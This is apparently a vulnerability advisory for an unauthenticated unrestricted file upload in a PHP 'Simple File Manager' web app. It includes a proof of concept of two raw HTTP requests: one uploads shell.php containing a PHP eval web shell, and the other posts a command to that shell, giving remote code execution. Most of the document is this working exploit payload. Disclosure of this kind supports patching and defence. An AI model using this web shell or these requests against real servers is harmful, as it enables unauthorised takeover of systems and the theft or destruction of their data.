Simple File Manager Web App using PHP and MySQL Database Free Source Code - Arbitrary file vulnerability uploading leads to command execution

[wkeyi0x1]

Simple File Manager Web App using PHP and MySQL Database Free Source Code - Arbitrary file vulnerability uploading leads to command execution

• Author: FanYZ

Vendor Homepage

• https://www.sourcecodester.com/upload-download-and-delete-file-using-php-mysql.html

Software Link

• https://www.sourcecodester.com/sites/default/files/download/oretnom23/myfilemgr.zip

Overview

• FanYZ has discovered a vulnerability classified as critical in Simple File Manager Web App using PHP and MySQL Database Free Source Code. The function upload is affected. This operation will result in unrestricted uploads. Remote attacks can cause RCE.

Vulnerability Details

• Simple File Manager Web App using PHP and MySQL Database Free Source Code V1.0
• Vulnerable File: index.php
• Parameter Names: filename
• Attack Type: Remote

Description

• FanYZ has discovered a vulnerability classified as critical in Simple File Manager Web App using PHP and MySQL Database Free Source Code. This issue affects the function upload. The manipulation with an unknown input leads to a unrestricted upload vulnerability.

Note

• No need to log in to the website, no interaction required to RCE!

Proof of Concept (PoC) :

0x01

POST / HTTP/1.1
Host: www.myfilemgr.com:8092
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------35394075757009027883742263970
Content-Length: 367
Upgrade-Insecure-Requests: 1

-----------------------------35394075757009027883742263970
Content-Disposition: form-data; name="photo"; filename="shell.php"
Content-Type: text/plain

<?php @eval($_POST['cmd']); ?>
-----------------------------35394075757009027883742263970
Content-Disposition: form-data; name="submit"

SUBMIT
-----------------------------35394075757009027883742263970--

0x02

POST /files/shell.php HTTP/1.1
Host: www.myfilemgr.com:8092
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Connection: close

cmd=phpinfo();